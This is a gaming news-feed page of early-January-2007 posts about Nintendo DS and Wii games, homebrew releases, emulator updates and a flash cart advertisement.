Hopefully you’ll consider picking up a few of these titles as each of them offers something quite different from the bigger releases of 2006. There were a lot of great games that got lost in the shuffle between New Super Mario Brothers, Yoshi’s Island DS, Final Fantasy III, Brain Age, Metroid Prime: Hunters, Clubhouse Games, Tetris DS, Elite Beat Agents, and tons of other titles. Take a second look at what came out this year for the Nintendo DS. You’re bound to find something that you forgot about or never knew about in the first place that in the simplest terms of the word, “rocks”.
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January 3rd, 2007, 04:35 Posted By: wraggster
via dsfanboy
It seems like just yesterday that we were first talking about Izuna: Legend of the Unemployed Ninja, a roflcoptery title if ever there was one, and now it's mere weeks away from a February release. It's crazy how time flies, especially when we're busy being fanatical for our favorite handheld.
Just to get you into the campy ninja spirit, there's a video of poor Izuna after the jump. Please, for the love, give this girl a job. Everyone deserves to feel like they have a purpose in life, and we have a soft spot for funny-colored hair. Not to mention we do love a game that doesn't employ the stylus unnecessarily, and apparently, Izuna is stylus-free. We're in! Now go watch the video. -->
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January 3rd, 2007, 04:37 Posted By: wraggster
via dsfanboy
2006 was a banner year for gamers, particularly DS gamers. We've got it all: a rainbow of system colors, an incredible library of games, and powerful studios clamoring for a piece of the action. Our favorite handheld consistently rocked out, thundering over the competition -- all the competition -- for the entire year. The DS avalanche of awesome can't possibly continue at this rate ... and yet, when we look at the forthcoming year and the incredible parade of titles set for the year, it seems that the DS will, in fact, continue to dominate global gaming.
And we're totally okay with that. Just so you know.
If you're still scrambling to finish some of the titles from the latter half of 2006, play harder -- no matter who you are or what you like, you're sure to find at least ten games this year that are must-haves, and that's just among the games we know about right now. What's worse (or is that way, way better?) is that most of them are slated for the next few months. So run through Portrait of Ruin and put aside the hard rockin' Elite Beat Agents (your fingers will thank you for the break), and check after the jump for a few of the games that will drain your free time in 2007.
Phoenix Wright: Justice for All
If you didn't already import the Japanese version of everyone's favorite attorney, then this month provides what will certainly be one of the most talked about games of the year. The import reviews have already promised a stellar send-up and we can't wait to get the cross-examination going.
Look for more zany characters in the second installment of the growing franchise, and though the caseload may be lighter, we hear each one is far more in depth. This is a great way to kick off a new year of gaming.
Hotel Dusk: Room 215
And speaking of adventure games, Hotel Dusk may not be getting as much attention as some other titles, but that doesn't mean it isn't worthy. Hotel Dusk, the spiritual successor to Trace Memory, is the story of Kyle Hyde, a cop-turned-salesman, whose search for a friend takes him to the mysterious hotel that serves as the center of the story. Details on the retro action -- the story takes place in the twilight of 1979 -- are as sketchy as the art style, but from the haunting trailers to the snippets we've seen, this one looks every inch a winner.
Wario: Master of Disguise
Action platformers have been a little touch and go on the DS, with even some of the most popular series, like Kirby, receiving mixed reviews for their handheld offerings. Wario, however, seems about to slink into the spotlight with a solid game that will prove why anything with Mario's darker shadow is worth playing until you can't play any more. If nothing else, the bizarre mix of puzzles, minigames, and action -- which incorporate both the controls and the touch screen -- will provide enough variety to please almost any gamer, and Wario himself will be his good ol' devilish anti-hero self. Wario: Master of Disguise is likely to end up one of the most fun and most well crafted games we'll see this year.
Pokemon Diamond & Pearl
There's really only two words we have to offer up here: five million. Pokemon Diamond and Pokemon Pearl have already sold more than five million copies, and that in less than three months. Pokemon is going to own April like April's never been owned before, and the WiFi battles may bring in a legion of all new Pokemasters. For those who've just gotta catch 'em all, the two titles offer up more than one hundred new monsters, and there were several other small changes when the franchise moved to the DS. Anyone care to start laying bets on how many copies of Diamond and Pearl will sell worldwide by the end of 2007? We're not sure we can count that high.
Line Rider
Which one of these is not like the others? Surely the answer is Line Rider, which is not exactly making an appearance here because it's a game we'll all own by this time next year. However, it is representative of a recent surge to bring popular web-based flash games to the portable DS. Done right, this new deluge could be big on the DS, as it's definitely a matter of two addictive tastes that could go great together. The innovative Line Rider could be really excellent on the DS, as its gameplay is well-suited to the stylus treatment. But only if the price is right, and we hope the right people are listening when we say that. Done well, this trend of ports could be very exciting on the DS, but we'll have to wait and see. And don't worry, dear reader -- we'll let you know what we see as soon as we see it.
Sim City DS
Speaking of movements ... we're all about porting PC strategy games to the DS. If there's anything the stylus is built for, it's managing cities as they march across a barren landscape, spreading a little light industrial love as they go. And Sim City DS certainly looks like it's going to be done well, though we can't exactly say that EA always bats a thousand. We do have high hopes, mainly because we could probably lose ourselves in a DS version of Sim City for days. For now, though, we'll have to be satisfied with playing it on the Virtual Console.
Dragon Quest IX: Defenders of the Sky
It's unknown if we'll see this title outside of Japan in 2007, but look for the gaming world to be turned on its head when the world's most popular RPG series heads to the DS as an exclusive. If anything can cement the handheld's image as the industry's leader, it's the rubber stamp of approval that is Dragon Quest, and the certain knowledge of hundreds of thousands of copies rushing off shelves the very minute they go on sale. The announcement of DS exclusivity was one of the biggest news moments of 2006, but the release will rock 2007.
The Legend of Zelda: Phantom Hourglass
You know we had to save the best for last. Between this game, Dragon Quest IX, and the dual Final Fantasy titles headed our way, 2007 is shaping up to be the year of the DS RPG. Phantom Hourglass stands to offer the only thing the DS is lacking, and that's an entry in the formidable Zelda franchise. What took you guys so long? Whatever it was, it's continually delayed this title, but we should see it sometime before 2008. We've got our fingers crossed that the latest promise of October will hold. Until then, you can pass the time with a twenty-minute video. We hear if you move your hands back and forth a little, it's almost as good as the real thing. Will the look and feel that didn't quite make us love Link on the 'Cube work on the DS? We can't say for certain, but we've got faith.
This certainly isn't the list of all lists, as there are several games we didn't talk about, like the pair of hard-hitting Final Fantasy titles headed to the DS, or the action-packed fun of Lunar Knights. We just wanted to highlight a few games that are sure to be standouts this year. The excitement is already creeping in, and that's refreshing, since we've had such a dismal release schedule throughout the holidays.
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January 3rd, 2007, 04:43 Posted By: wraggster
via pocketgamer comes their top 10 most anticipated releases for 2007
10.) Panzer Tactics from Sproing
9.) Ubisoft's Rayman Raving Rabbids
8.) Final Fantasy XII Revenant Wings from Square Enix
7.) Jupiter Corporation's Spectrobes
6.) Sim City DS from EA
5.) Rare's Diddy Kong Racing DS
4.) Pokemon Pearl/Diamond from Gamefreak
3.) Kojima Productions' Lunar Knights
2.) Wario: Master of Disguise
1.) Nintendo's The Legend of Zelda: Phantom Hourglass
Er wheres Theme Park
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January 3rd, 2007, 04:46 Posted By: wraggster
New Sodoku release for Nintendo DS by CrescentMoon
I started on a new project over the christmas break and just got it finished today... it took me a week longer than I wanted as for some reason some of the puzzles don't work properly, but most do, so I haven't been able to find out where the problem(s) is(are) >_>
The puzzles that don't seem to work for me are 2 and 4, I managed to get the others working, so try them if you want
I'm not that big a sudoku fan, but we were given it in class as a suggestion to help us practice C# other Xmas, and I'm bored of that, so I made it in PALib ^_^
Anyways, enough of that, hope you like it, although I now know there are other sudoku games out there for the DS
Use the D-pad, or arrows to select a sudoku then start to play it. Then use the D-pad to select a square and use the stylus to draw in the number... if you can't do it, because it's too hard () or the game's being stupid again and the puzzle doesn't work (XD) press start and return to menu
Lol, I've just had to take out the background music to make the file small enough to upload ^_^ included the emulator file and the supercard file... hope everyone likes it ^_-
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January 3rd, 2007, 04:54 Posted By: wraggster
CraigT spilled some info on a future version of the Spectrum emu for the DS:
SpeccyDS took a back seat over the holidays, moving over to more festive activities such as eating and drinking far too much. However, i’m now in the mood to get back into the swing of things!
I did get around to a few little bits over the holidays… The G6 driver has been merged into the FAT driver but, due to my lack of a G6, it is completly untested. I’ve also started to redesign the GUI code in a more OO-friendly manner, and implemented a few undocumented Z80 op-codes (around the EDxx range).
I’ve also started to look at 128k emulation. Don’t get too excited at the moment since i’ve only been reading up on what is required, but from what I can see it should be quite straight forward to modify the code to emulate a 128k Spectrum. The complicated bit seems to be the sound chip. The timing and memory bank switching should be quite easy to implement as long as I can find an efficient way of doing it.
I doubt 128k support will be in the next version since there are still a few things that I need to sort out, but it’s nice to know that it is possible.
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January 3rd, 2007, 12:37 Posted By: wraggster
via joystiq
Today's most-watched GameTrailers video is part three of the site's Bonus Round look at the Wii. These roundtable sequences -- albeit without the table -- feature musician Tommy Tallarico, analyst Michael Pachter, and game producer Peter Wanat sharing their opinions on the Wii.
The industry personalities are worth a listen, although we're most anticipating to the fourth -- and final -- episode; it's billed as their thoughts on the long-term prospects of the Wii.
Video Here --> http://www.gametrailers.com/bonusround.php
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January 3rd, 2007, 12:45 Posted By: wraggster
Bloody hell these Slot 1 Flash carts are coming out the Wood work at a fast rate now, heres a new one from Linkers 4 U.com:
Product Features
Original DS Cart Size: Insert into DS Slot 1 without any stick out.
Supports Clean Rom Directly
Boot from DS slot 1 directly: No more FlashMe/PassMe is needed!
Multi-games Support.
Supports NDS and NDSL consoles
More Description
The N-Card is a revolutionary storage, homebrew and media player flash cart compatible with all DS Lite and original DS consoles.
The N-Card does NOT require the use of a passme, external memory, the same size as an ordinary DS cart.
Its plug and play in its finest hour, the DS writer like a GBA cartridge can be very easy to write game into N-Card's built-in memory, it connects to your PC like a U-drive, simply open "My Computer" then copy'n paste the DS rom into the drive and you are ready to play.
What's inside the box
N-Card (x1)
N-Card Writer (x1)
USB Cable (x1)
The N-Card 8G is retailing for USD 46.45 and is available now to buy from Linkers4u.com
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January 3rd, 2007, 12:48 Posted By: wraggster
Newly released for Nintendo DS:
features
Have fun caring for adorable kittens! Your faithful feline loves hearing her name and being petted.
Earn coinz and use them to dress up your kitten with cute accessories. Take cute pictures and share them with with your friends via wireless DS mutli-card play.
Cat-sit for your neighbors, and you'll earn kitty cardz that expand your knowledge of our feline friends!
description
Because there's no such thing as too much cute!
Your local animal Adoption Center has many kittens in need of a loving home. Once you take a kitten home, keep her/him happy and healthy with good food and fun toys.
You’ll be able to earn extra Kitty Coinz by helping out your neighbors Haley and Brandon with their kittens. Use Coinz to dress up your kitten and buy greatstuff for your home!
More info /buy here --> http://www.play-asia.com/SOap-23-83-...j-70-1skv.html
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January 3rd, 2007, 12:52 Posted By: wraggster
Awesome new Star Wars game released for Nintendo DS:
description
In the years between Episodes III and IV, Princess Leia proposes a dangerous quest to secure the future of the Rebel Alliance. As the deadly duo of a Twi'lek named Rianna Saren and her security droid, Zeeo, you must infiltrate Imperial-controlled planets, fight legions of evil fiends, and return with the plans for the most destructive weapon in the galaxy - the Death Star.
Battle through the galaxy as a legendary mercenary team, steal the enemy's deadliest secret, and triumph over evil in this untold Star Wars® epic adventure.
More Info --> http://www.play-asia.com/SOap-23-83-...j-70-1skw.html
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January 3rd, 2007, 13:02 Posted By: wraggster
iDeaS the Nintendo DS Emulator for Windows has been updated to v1.0.0.9
Heres whats new:
Fixed a bug in texture management.
Added a debug dialog.
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January 3rd, 2007, 13:12 Posted By: wraggster
via photics
If you own a Wii, odds are you've played Wii Sports. My favorite game is Wii Boxing. I love the dual weilding action. The wiimote feels very responsive. Wii Sports Boxing is one of my favorite fighting games - of all time. While experiencing this nirvana of video gaming, I found myself getting back to my gaming roots. Just how high of a score can I get? What happens when my rank hits the top of the chart?
To hit pro, you need 1000 points. Since that mark looked about halfway up the chart, I figured that 2000 was the highest one could get. Yet, something interesting happened in the 1500-1600 zone. I fought the trainer. After that, the challengers simply repeated. That's when things started to get weird. I lost rank for winning. Yes, that's right. I lost points in a match that I won. The ranking of your challengers doesn't increase much past 1600. When you hit the 1700+ level, the system works against you. Hmmm, it doesn't seem like the game wants me to hit 2,000. I quickly learned that it's not enough to win the match. I couldn't get knocked down either. Since I was keeping on my feet, I was able to fight my way to the 1800 zone. I notice that the ranking dot was nearing the edge of the chart. There wasn't enough room on the chart for 2000 points. Did I reach the end? Is 1800 the max? No... not by long shot. The line keeps going...
2,458 is the best I've gotten so far.
The dot is off the charts.
Even with knocking out my opponant in the first round, I'm getting less and less per win. In the last bout, the bonus was only 28 points. That's way down from the 75 point bonus in the earlier matches. With the deteriorating rewards, what's the absolute max? I don't know, but I sure do enjoy trying to find out.. One thing is for sure, the scoring can go a lot higher than 2000. It looks like the line graph could keep going to touch the top of my TV.
Here's some fighting advice to help you increase your rank...
Don't let yourself get knocked down. (Duh!) If I get knocked down, I simply reset the match.
Try to knock down your opponent quickly.
Fight strategically! Don't just swing the controllers around like a madman. Missing a punch can open you up for a beating. Look for opening in your opponent's defense. Dodging works best. When you successfully dodge a punch, that's your cue to counter-attack.
Land combos. I like to dodge, then hit 'em with a right / left combo. The more devastating your combos, the less likely the computer controlled character will recover. Listen for that ping sound. That's how you know you're doing it right.
The AI doesn't get much harder past the 1600 raking. Try to create an attack pattern that works, as it should work every time.
I noticed that Wii Sports is less of a workout now that I understand how the game plays. Instead of swinging at the air with full force, I simply do quick thrusts. The game is still lots of fun. I'll be trying to beat my top score.
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January 3rd, 2007, 13:15 Posted By: wraggster
via tokyomango
Before this giant Wii advertisement (and the Starbucks underneath) was here, there used to be a little ice cream shop called Dairy Queen, where they made cherry candy-covered soft serve. I used to go there all the time. It's the same Dairy Queen as the one in the US, but the cherry tastes sweeter and the vanilla ice cream is more velvety.
Check out the Worlds biggest Wii Ad Via Comments
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January 3rd, 2007, 13:21 Posted By: wraggster
MoonShell is a multimedia player for Nintendo DS (Lite) consoles. It has support for DPG video files, MP3/NSF audio files and viewing JPG/Jpeg/BMP/PNG (non progressive) files, it also has support for TXT textfiles. MoonShell supports dualscreens and it has full support for the touch screen. MoonShell has plug-in system that allows to add any compatible plug-in just by copying the plug-in files to the appropriate folder. MoonShell also comes with several kind of useful plug-ins.
Heres whats new:
- There is no change in the main body of MoonShell.
DLDI driver changed: To add the boot loader, the driver for G6 changed.
DLDI driver added: dlms_moon.dldi DSLink (microSD Card)
DLDI driver added: m3cf_moon.dldi M3 Adapter (Compact Flash)
DLDI driver added: mmcf_moon.dldi Max Media Dock (Compact Flash)
DLDI driver added: scsd_moon.dldi SuperCard (SD Card)
Confirmed DLDI driver.
MPCF, M3CF, EZSD(EZ4Lite), DLMS, EWSD, SCCF, SCSD, NMMC, nsd2, G6FL(G6Normal/G6Lite), M3SD(M3OldPro/M3NewPer/M3NewPro/M3Lite), R4TF(M3Simply-R4DS).
Unconfirmed DLDI driver.
EZSD(EZ4MiniSD/EZ4LiteCompact/EZ4LiteDeluxe), MMCF, MPSD, NJSD, SCDS, M3SD(M3NormalSD/M3OldPer).
Failed DLDI driver.
EZ5S, AKFS..
Download Here --> http://mdxonline.dyndns.org/archives...lbeta3_e.shtml
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January 3rd, 2007, 13:34 Posted By: wraggster
Simon Hall posted some more news of his port of Quake to the DS:
Hi, first up I hope everyone had a great Christmas and a new year!
It's back to work tomorrow for some of us :-(
Anyway I nearly quit QuakeDS a few weeks ago - Christmas eve and my CF card decides to die. I go around town looking for cheap cards but of course there are none... When I finally get a couple of them I get home and my gbamp refuses to boot from them! I coax my old CF card back into working again, only to blow another fuse inside my DS! So basically I'd gone home for the Christmas period with nothing to do but Quake and I'd just bricked my DS. Not cool.
But anyway, once I got back in London it was straight onto eBay to get myself the screwdriver to open the thing, then once it arrived there was a fruitless hunt for solder so I could fix the thing. But I'm back up and running now!
So regarding the game progess, all brush models are now textured (mostly) correctly. Some texture co-ordinates don't line up properly but I'm not gonna bother looking into that for a bit. I also just the other day solved the weird texture problems and palette corruption, so it now looks fantastic :-)
One bi-product of fixing the texture weirdness was that it has forced me to do more transformations in hardware, improving the performance. It has also broken the Alias model rendering - something I'm going to work on next. I then spent today completely pulling apart the poly generation/dispatch to use absolutely no floating-point numbers, removing the software clipping (which is a shame) and putting even more transformations into the hardware. But it's been totally worth it and the frame rate is just dynamite :-D
Video Here --> http://myweb.tiscali.co.uk/simonhall/textured.avi
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January 3rd, 2007, 20:44 Posted By: wraggster
Nintendo is developing an unknown number of games with Korean developer Nexon, best known for its free-to-play massively-multiplayer online title, Maple Story, according to Korean news site JoongAng Daily.
The potential of Wii's online gameplay is still unclear, with Nintendo yet to release the required service details to developers for use in new games - the first Wii online titles are not expected for months. But Nexon's MMO background could suggest Nintendo is finally making a push into online gaming with Wii.
Nexon has already revealed that it is working on a DS version of Maple Story but the cartoonified, anime-style visuals would suit both handheld and console. And the characters could easily be exchanged for Mii-like designs, as with The Sims Wii and, according to rumours, Animal Crossing Wii. Watch this space.
via gameradar
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January 3rd, 2007, 21:36 Posted By: wraggster
Via Gizmodo
This original Game Boy got itself into some deep shit in the first Gulf War, yet somehow still manages to function. There's no better way to prove that you're a hardcore Nintendo fanboy than by staying in your flaming barracks because you only need a few more lines to get a high score.
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January 3rd, 2007, 22:02 Posted By: wraggster
via kotaku
Game Factory today confirmed that they are working on a 3D fighter for the Wii based on the JETIX cartoon Legend of the Dragon.
"We are thrilled to be publishing for the WiiTM," said Henrik Mathiasen, Game Factory's President. "While the Xbox 360 and Sony PlayStation 3 next-gen consoles have really captured the imagination of the more mature gamer, at Game Factory we're really excited about the potential impact WiiTM will have on the children's market, as this is obviously our forte."
The game will let you choose between one of 19 characters, all of which wear magical wristbands that allow them to transform. The game also includes a real-time spell-casting system that is suppose to lend an RPG element to the fighter.
The whole thing is being done with cel-shading, so I'm at least marginally interested.
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January 3rd, 2007, 22:24 Posted By: wraggster
via kotaku
Yeah, tipster Maxwell is right when he says we've probably seen a great deal of people playing Wii videos since the system launched, but nothing quite like this girl. No real nudity involved mind you, but probably not all that safe for work anyway.
I don't know if this is going to become a big trend, but I am almost positive we need to push in that direction if we as a society are going to survive. The girl could be a bit more attractive, and honestly I could probably have filled out the bra better, but we're all gamers here and are used to taking what we can get. Let the "I can get any girl I want" comments begin!
Video Here
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January 3rd, 2007, 22:57 Posted By: wraggster
via kotaku
I'm the type of guy who likes to sit through movie credits, ignoring the desperate pleas of whomever I am with as I scan for names, funny bits, and important messages about cutesy cartoon animal video games. I would have been in luck after watching the Japanese Animal Crossing movie.
According to Nintendo-Inside.jp and the electronic version of Kyoto Shinbun after the credits have rolled on the new Animal Crossing a message comes up as follows:
"Let's meet in Wii"
Unless that's just a secret message from the projectionist about a truck stop rendezvous, I'd say that's confirmation that the Wii version is on the way. When? Where? How? No clue when, but probably not till the end of this year, beginning of next. Where? Japan, where it will sit for months while we in the states writhe in agony. How? Magic Animal Crossing pixies.
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January 3rd, 2007, 23:13 Posted By: wraggster
via kotaku
PAL Virtual Console games are gimped, and Kotakuite Lloyd, from the UK, is upset. Taking the law into his own hands, he sent a tersely worded letter to Nintendo UK complaining about the state of affairs, and received this vague response:
Dear Customer, thank you for your e-mail.
It is only Sega games and F-Zero that have not been converted. As far as I am aware all the others are OK.
Kind regards,
Your Nintendo Team
That's surprising, as aside from a couple of Hudson titles the only reports we'd heard were that all PAL games had been castrated. The champagne is on hold for now, though, because "As far as I am aware" doesn't exactly qualify as confirmation in my books.
Any PAL Kotakuites out there who have dabbled in the Virtual Console (specifically Nintendo titles), let us know which games are letterboxed and slow, and which are getting the full-screen, full-speed NTSC action. It'd be nice for someone to have a complete record of this
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January 3rd, 2007, 23:43 Posted By: wraggster
via joystiq
NeoGAF forum member Reno has recorded the latest instance of Nintendo's DS used to guide patrons through an art exhibit. In this case, an M.C. Escher show at Shibuya's Bunkamura entertainment complex featured customized DS Lites, complete with floor maps and guided audio tours. Many of the works were reproduced on the touch screen, and the stylus could be used to enlarge certain areas of the image, allowing users to examine the Escher pieces in greater detail.
More Info
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January 4th, 2007, 00:07 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
Version 0.2.9.2b Released
Fixed critical error that was happening on some systems (was related to new theme selection).
Version 0.2.9.2 Released
Themes selectable via wiicr ui
pause works with video
modified flv player by aurion to support WiiCR's video segments
pause now works properly again on videos
icons1 got an improvement
includes all themes as of this date.
Download Here --> http://downloads.sourceforge.net/wmc/
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January 4th, 2007, 00:11 Posted By: wraggster
via wiifanboy
There's a new trailer for Sonic and the Secret Rings tucked away on Sega's American site, and though this may strike you as a surprise, it's filled with Sonic himself speedily racing through levels and -- wait for it -- collecting rings. Bombshell, right?
Okay, so not really. But it's a fast-paced little bit of blurry blue action and definitely worth a watch. And maybe it's just because this particular blogger has been grinding it out with the Wii's Downhill Jam and similarly speedy fun, but this really looks like it could be a blast. We know the pantheon of Sonic titles are a bone that gamers like to gnaw in friendly brawls arguments, so we gotta ask: how's this one strike you?
And we apologize, but there's no embedded video, so you'll have to head over to Sega's site for the trailer. While we hate to do that to you, we can at least promise that this one is child-free.
Trailer Here
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January 4th, 2007, 00:13 Posted By: wraggster
via wiifanboy
Who needs dongles when you have an entire series of tubes at your fingers? Finetune, a social streaming service, has created a Wii-friendly interface complete with big search boxes that can easily be seen from across the room. A few clicks and we were happily streaming tunage in the living room. It took nearly as long just to load the internet channel as it did to get in and start listening. We do, however, crave some sort of "Wiiboard," because this onscreen typing is about as much fun as tearing off our fingernails and eating them.
Also, we're a little disturbed when Disturbed rolls in as some of the "best rock" of 2006. Perhaps we need to finetune our definitions a little more ... and all apologies to Disturbed fans. We got much better mileage out of entering tags on the "radio" side and rocked out for a while to the Wii. Check it out if you're so inclined.
More Info
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January 4th, 2007, 00:18 Posted By: wraggster
Carl Kenner has released a new version of his GlovePie Input Emulator which basically supports a lot of different Hardware and enables you to use say a WiiMote Controller as a Gaming Controller on your PC
What's new in version 0.29
==========================
* Minimize to System Tray button
* Recent Files menu
* OutputToFile( ) function to write values to output.txt
* Division by zero no longer crashes compiler
* Automatically connect Wiimotes when you press 1+2
(bluesoleil only, you need to do it manually with other stacks)
Hold Power button to disconnect Wiimote.
* Wiimote speaker supported (single notes only, no wave files)
* Classic Controller support fixed and tested
* Wiimote.SmoothPitch and Wiimote.SmoothRoll now calculate angles
without seperating out the acceleration, for smooth (but
inaccurate) angles when your hand wobbles.
* "Press X" now works without brackets
* "100Hz" now works without space
* Numbers allowed after dot, "Wiimote.1" works like "Wiimote.One"
* Infinity and NaN are now valid numbers.
* Other compiler improvements
* Improved documentation
* More scripts! Play old Zelda, Mario, or Metroid games with the
exact same controls as the modern Wii game.
Let me know how well it works or doesn't work.
Heres more details:
GlovePIE stands for Glove Programmable Input Emulator. It doesn't have to be used with VR Gloves, but it was originally started as a system for emulating Joystick and Keyboard Input using the Essential Reality P5 Glove. Now it supports emulating all kinds of input, using all kinds of devices, including Polhemus, Intersense, Ascension, WorldViz, 5DT, and eMagin products. It can also control MIDI or OSC output.
In the GlovePIE window you type or load a simple script. For example to control the WASD keys with a glove:
W = glove.z > -50 cm
S = glove.z < -70 cm
A = glove.x < -10 cm
D = glove.x > 10 cm
You can also use GlovePIE to play Joystick-only games without a joystick, or keyboard-only games with a joystick. Or you can use it to create macro buttons for complex keystrokes.
You can even use it to control multiple mouse pointers with multiple mice.
System Requirements
You will need:
Windows 98 or above (Windows 2000 or above to emulate keys in DirectInput games or use multiple fake cursors - Windows XP or above to get input from multiple mice or keyboards individually or to read some special keys).
DirectX 8 or above.
There is other optional software you might need for certain features. See the download page for links to download them. Joystick emulation requires PPJoy. Speech requires SAPI 5.1 with microsoft recogniser.
You don't need any special hardware.
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January 4th, 2007, 00:21 Posted By: wraggster
via dsfanboy
We can't decide if this is surprising or not, but from the new page at the Success site, it looks like Mackenzie will be back (with her funny-shaped pal) for another round of quirky mysteries. Considering the mixed reviews, we can't say we expected another Touch Detective game immediately, but hey! What fun would it be if the industry didn't offer up a few surprises here and there, amirite?
For now, we'll hope that they focus on the things they got right with the first installment -- like the humor, art style, and characters -- and work a little on the opaque mysteries that were, at times, somewhat like pounding one's face with a sledgehammer.
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January 4th, 2007, 00:24 Posted By: wraggster
via IGN
Naruto is making the transition to the DS. Today, Tomy and D3Publisher of America announced that Naruto: Ninja Council 3 would debut on Nintendo DS this spring. The previous Ninja Council games were available on GBA.
Based on episodes of Viz's anime series, Naruto: Ninja Council 3 features more than 40 missions and 20 playable characters. Supporting four-player multiplayer and several game modes (Timed Mode, Scroll Collection Mode and Head-to-Head Versus Mode), Naruto challenges gamers to use strategy in their attacks. The interchangeable attack system allows players to combine attacks to increase success in combat.
"The new interchangeable attack system and the ability to choose from over 20 playable characters are a first in hand-held Naruto games," said Careen Yapp, Vice President of Licensing and Business Development, D3PA. "We feel very strongly that this game will appeal to both the fans of Naruto and DS gamers that enjoy action games."
Look for Naruto: Ninja Council 3 sometime this spring.
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January 4th, 2007, 13:16 Posted By: wraggster
via cvg
Nintendo has revealed the Virtual Console games to be made available in Japan this month, spurring much jealousy amongst PAL Wii gamers.
Link is back for more Wii action, with Zelda II: The Adventures of Link (NES/Famicom) making its way onto the Wii Shop, along with cult-classic Kid Icarus, Ice Climber and Ikki, all for the NES.
And after what seems like an eternity of eager waiting (one month) the N64 section of the Virtual Console is finally getting its second game in the form of Mario Kart 64 - one of the N64's best multiplayer games.
Megadrive gets two games: Bonanza Bros. and Gain Ground, and the Turbografix games once again turn up in force, with Alien Crush, Moto Roader, R-Type II and Soldier Blade all on the way.
Disappointingly, only one Super NES game is listed, according to gaminghorizon.com; Fire Emblem: Seisen no Keifu - and as that never got a western release we have no hope of seeing that in our Wii Shop down the line.
The Japanese VC games tend to vary quite significantly to that of the US and UK, but could be viewed as a rough forecast for what Nintendo has planned for us in coming weeks. That said, we're going to be campaigning outside Nintendo Europe's offices until they bring Mario Kart 64 our way. Give it to us now!
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January 4th, 2007, 13:29 Posted By: wraggster
As far as publicity stunts go, this is probably the most literal we can think of: get a monkey to play a game about monkeys. Look! He's even wearing a promotional T-shirt.
It's not clear if this is supposed to prove that Wii games are so accessible even animals can play them or that the Wii-mote is monkey compatible, but what we do know is this little fella was shipped into London's Wii house (used to demo games to the media) for a photoshoot, yesterday.
We're assuming Nintendo is using this opportunity to point out just how well Super Monkey Ball: Banana Blitz did over the Christmas holiday period (in the top five best-selling launch titles). Although, if it was us, we'd have been a bit disappointed the monkey didn't smile a bit more. Or maybe throw the Wii-mote through a TV screen.
News and Screens at Gamesradar
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January 4th, 2007, 13:55 Posted By: wraggster
News from Shash
I've not done much related to DS emulation, besides some profiling and considering where to go from here. I'm really concerned about some tidbits of the current state of DS emulation in desmume. Mainly, I want to do some really hardcore cpu core rewrite to gain some speed, and moving the whole 3D renderer to software, instead of using opengl, as it is used now. I've already written a few software renderers in the past, and I even started one (designed to be used in desmume) about a month ago, but I haven't got the time, neither the motivation needed for such a feat, mot to mention rewriting half of the cpu core for speed: at least, not now :P
Today I just implemented a hacky way to support "flipped repeat textures", which consumes more memory than desired (even if only 1-2mb) and cpu, but works :P It's visible (or not, as now it's rendering as desired) in the sand path in the 3rd shot, which is using it. Most of my time today, was spent testing Mario DS, up to the first stage, but I didn't make any proper shots: it seems pretty stable, even if it could be better. Anyway, some shots:
Screens Via Comments
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January 4th, 2007, 14:07 Posted By: wraggster
via Lemproject
I’ve updated the Downloads page with Version 3.1 of the Lemmings DS ROM, Lemmings DS Builder and Custom Level Utility.
This new version turns the music and sound on by default, and ensures that the music playing ingame is random (at last!) and should fix at least some of the bugs that folks have been having with the game crashing while the music has been fading in and out.
It’ll also change the behaviour of the editor slightly: it replaces the meaningless ‘Zero Overwrite’ level texture object option with a ‘Subtractive’ option, which causes the selected piece to ‘punch through’ existing terrain leaving transparency behind. This upgrade is necessary for some upcoming LemProject goodies.
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January 4th, 2007, 14:09 Posted By: wraggster
via ign
Ever since Nintendo first showed off footage of its mysterious Wii title Forever Blue, we've all been curious about the title's premise. Early videos showed scuba divers swimming deep underneath the sea and interacting with a variety of fish, some deadlier than others.
Sources tell IGN Wii that the game is being developed out of Japan by Arika. A little research on our part revealed that Arika is no stranger to underwater-based videogames. In fact, the studio released Everblue and Everblue 2 for PlayStation 2 in 2001 and 2002 respectively. Both games look very similar to Forever Blue for Wii. Indeed, we'd be willing to wager that the upcoming Wii title is very likely a direct sequel, if not an enhanced port.
Arika's official website features a brief description of the titles, which can be found right here.
IGN reviewed a copy of Everblue 2 on PS2 three years ago. The title scored a 5.7 and was described as an underwater action game with RPG elements. Apparently the effort presents a realistic and sometimes-beautiful scuba diving experience, but comes up short on story and character progression. Here is a description of the PS2 games from our sister site:
"Explore the Magic of Deep-Sea Diving. Follow heroes Leo and Zucco as they explore the truth behind tales of the Caribbean's Bermuda Triangle and Coral Reef inthis expansive underwater role-playing adventure. Uncover the sea's mysteries, as you freely explore sunken treasure ships, play with dolphins and other underwater sea life, wander the great Coral Sea and avoid shark attacks."
Nintendo has not officially confirmed that Wii's Forever Blue is related, but considering Arika's history, we don't see how it couldn't be.
It's worth noting that Arika has worked on other projects, including everything from Street Fighter EX Plus Alpha for PlayStation to Mega Man Network Transmission for GameCube.
More information as it becomes available.
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January 4th, 2007, 14:11 Posted By: wraggster
via ign
Ubisoft's Spanish subsidiary has put out a release that announces, among others, a handful of new Wii projects.
The first is Brothers in Arms: D Day, the most solid confirmation yet that Ubi is readying a version of the hit first-person shooter franchise for Nintendo's new console. Last year, an allegedly leaked document listed Brothers in Arms as a game underway from Wii. Ubisoft denied the document's validity, but every other title featured on the list was eventually announced or released. The game's name suggests that this is might be a Wii version of the recently released PSP series entry, a "Best of BIA" game with new and remixed content from all of Brothers in Arms (assumedly with improved visuals to match the Wii.) In an interview with IGN, the developer of the series, Gearbox Software, also said that it was working on a Wii project. Insiders claim that Gearbox was at one point experimenting with Unreal Engine 3 and attempting to create a dumbed-down version that would run on Wii. Unfortunately, we have been unable to confirm the accuracy of that rumors.
The second title is called Spelling Spree and, as the name suggests, it is very likely a project focused on spelling and vocabulary challenges. Gamers might be quick to discount such a product, but if Ubisoft can put a Brain Age style spin on the presentation, Spelling Spree could be a surprise hit.
The third game, Cosmic Family, is a port of the PC franchise of the same name. Very little is known about the project, except that it is geared toward younger players. A brief description, courtesy Amazon's UK website: "Meet the Cosmic Family - Mr and Mrs Cosmic, their two small children, big sister, the scatty cat, the playful dog, and monsters of every shape, size and color. Early learning, humor and music for 4-7 year olds and their parents."
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January 4th, 2007, 14:13 Posted By: wraggster
via IGN
